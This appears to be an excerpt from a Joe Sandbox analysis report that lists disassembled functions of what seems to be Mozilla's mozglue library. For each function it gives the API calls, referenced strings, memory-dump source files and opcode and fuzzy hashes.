ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51ED19
CloseHandle.KERNEL32(?), ref: 6C51ED28
free.MOZGLUE(00000000), ref: 6C51ED2F
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C51EC94

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
Instruction ID: 44e81e904be07cdde344a140e5e76e265843210b56465f102cc368b85304310c
Opcode Fuzzy Hash: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
Instruction Fuzzy Hash: 3721B175604104EBEB01AF24DC0CAAA7779EF8626CF954215F81897F40DB729C15CBA5

Function 6C518ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C4DEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C51B392,?,?,00000001), ref: 6C5191F4

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Strings

timeline-overview, xrefs: 6C51907A
name, xrefs: 6C518F16
timeline-memory, xrefs: 6C519088
timeline-fileio, xrefs: 6C5190A4
data, xrefs: 6C5190E8
timeline-ipc, xrefs: 6C519096
marker-chart, xrefs: 6C51905E
marker-table, xrefs: 6C51906C
stack-chart, xrefs: 6C5190B2

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction ID: 2a8c5b8f0021382e123008cf993b05bec37f93392e3b8ce5098ed5b4819074d7
Opcode Fuzzy Hash: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction Fuzzy Hash: 50B1E2B0A042099BEF04DF98CC95BEEBBF5AF85318F504529D401ABF80D731A944CBD1

Function 6C4FC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC5A3
WideCharToMultiByte.KERNEL32 ref: 6C4FC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C4FC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C4FCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4FCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4FCAA5

Strings

(null), xrefs: 6C4FC596
0, xrefs: 6C4FD30A

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction ID: 131f59af8c2609ce3024bce7f5502e95c97f38b17f1fce5291f6c55dfb3931be
Opcode Fuzzy Hash: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction Fuzzy Hash: A9A1BD306083428FDB10DF28C944F5ABBF1AFC9759F09892DE9A997751D731E806CB82

Function 6C4FC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4FC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C4FC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4FC891

Strings

INF, xrefs: 6C4FC794
inf, xrefs: 6C4FC78F
nan, xrefs: 6C4FC7A8
NAN, xrefs: 6C4FC7AD

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction ID: bd1afa378524406d481d46e2dc63b2f4ebfe15de956aa8bf15f6c3740a089084
Opcode Fuzzy Hash: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction Fuzzy Hash: 3C5181705087448BD710EF2CC581E9AFBF0BFCA309F418A2DE9E597651E770D98A8B42

Function 6C4D3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C4D350E
__Init_thread_footer.LIBCMT ref: 6C4D3522
__aulldiv.LIBCMT ref: 6C4D3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3592

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

kernel32.dll, xrefs: 6C4D34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C4D3508

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction ID: b9cf08172a744ab68f737a684ea1234d6ef50cd573da6dd9939a81aab9a2acc9
Opcode Fuzzy Hash: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction Fuzzy Hash: ED31B371B001059BDF04EFB9CC68FAA77B5FB45319F96011AE501E37A0EB70A904CB64

Function 6C4D4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C514843,?), ref: 6C4D45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C514843,?), ref: 6C4D468A
free.MOZGLUE(?,?,?,?,?,?,6C514843,?), ref: 6C4D46C9
free.MOZGLUE(?), ref: 6C4D46EF
free.MOZGLUE(?), ref: 6C4D4712
free.MOZGLUE(?), ref: 6C4D4735
free.MOZGLUE(?), ref: 6C4D4758
free.MOZGLUE(?), ref: 6C4D477B
free.MOZGLUE(?), ref: 6C4D479E

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction ID: ba781a238f04e8b5902a1b8fcc0f45dd04184d9909935983b201dc918463cd96
Opcode Fuzzy Hash: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction Fuzzy Hash: EDB11775A001508FDB18EF3CC8B4F6D77A1AF413A8F1A562DE416DBB82D731E8808B91

Function 6C53AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C53AC52
CreateFileMappingW.KERNEL32 ref: 6C53AC7D
GetSystemInfo.KERNEL32 ref: 6C53AC98
MapViewOfFile.KERNEL32 ref: 6C53ACB0
GetSystemInfo.KERNEL32 ref: 6C53ACCD
MapViewOfFile.KERNEL32 ref: 6C53AD05
UnmapViewOfFile.KERNEL32 ref: 6C53AD1C
CloseHandle.KERNEL32 ref: 6C53AD28
UnmapViewOfFile.KERNEL32 ref: 6C53AD37
CloseHandle.KERNEL32 ref: 6C53AD43
CloseHandle.KERNEL32 ref: 6C53AD67

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction ID: 96a762c3a6b7635d80850f5bfa6f412484ec1282346e86813fa23670db7ce617
Opcode Fuzzy Hash: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction Fuzzy Hash: 853144B1A047048FDB00FFB8D94C65EBBF0BF85305F46492DE98997251EB709458CB86

Function 6C4E9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
ntdll.dll, xrefs: 6C4E96E3
NtMapViewOfSection, xrefs: 6C4E9701
MapViewOfFileNuma2, xrefs: 6C4E97B1

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction ID: f25ef42ea2984c29d891bc9868870e02fe7f54732de65fb7ef7fb8c467e77843
Opcode Fuzzy Hash: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction Fuzzy Hash: 0B4191B1B10205DFDF00DFA5DC84E9A77B4FB49316F924229ED1697780D731A818CBA5

Function 6C520000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C520039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C520041
GetCurrentThreadId.KERNEL32 ref: 6C520075
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C520082
moz_xmalloc.MOZGLUE(00000048), ref: 6C520090
free.MOZGLUE(?), ref: 6C520104
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C52011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C52005B

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction ID: 16ba300285b9a2ebbc1a860a3f81da1aeb88c992c9ab822fd0fca604534d1208
Opcode Fuzzy Hash: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction Fuzzy Hash: 40419CB5A01244DFCB10DF24CC44A9ABBF1FF89318F814A1EED5A93B80D731A819CB95

Function 6C4E7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4E7EA7
malloc.MOZGLUE(00000001), ref: 6C4E7EB3

Part of subcall function 6C4ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C4ECB49
Part of subcall function 6C4ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C4ECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C4E7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C4E7F19
malloc.MOZGLUE(?), ref: 6C4E7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4E7F4D

Strings

d, xrefs: 6C4E7F89

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction ID: 9e70de391897d7a5d0a4a227d810664c63ff356b20a0fa48f6c026394159ac23
Opcode Fuzzy Hash: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction Fuzzy Hash: 9031D871E0434897DB01DB68CC449FEB778EF95318F469629EC4997612FB31A9C8C394

Function 6C4E3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4157

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 0ec1e20bfe1ad3e5a38f23f896255c5681ad1bb4c8bee250976c80150a410b7d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 09A19FB1A00205CFDB41CF68C880F59B7B5BF8C349F2651A9D909AF752D771E886CBA0

Function 6C529D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C528273), ref: 6C529D65
free.MOZGLUE(6C528273,?), ref: 6C529D7C
free.MOZGLUE(?,?), ref: 6C529D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C529E0F
free.MOZGLUE(6C52946B,?,?), ref: 6C529E24
free.MOZGLUE(?,?,?), ref: 6C529E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C529EC8
free.MOZGLUE(6C52946B,?,?,?), ref: 6C529EDF
free.MOZGLUE(?,?,?,?), ref: 6C529EF5

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction ID: 4840b7eec325057a650773039e5599e43f1bf5562b26bcf31a47683eeefee944
Opcode Fuzzy Hash: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction Fuzzy Hash: A07180B0909B418BD712CF18C88095BF7F5FF99325B44961DE89A5BB41EB34E885CBC1

Function 6C52DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C52DDCF

Part of subcall function 6C50FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50FA4B

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE0D
free.MOZGLUE(00000000), ref: 6C52DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF32

Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DB86
Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF65
free.MOZGLUE(?), ref: 6C52DF80

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction ID: 4c49798dfbd4e7fc538480e9b9cd31625e4cbc36a712a0b41057e8afac0b43ff
Opcode Fuzzy Hash: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction Fuzzy Hash: 1A51C5726016009BD721DB28CC806AEB3F6BFD5318F96051CD85A53B90D739F91ACBD6

Function 6C535D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D32
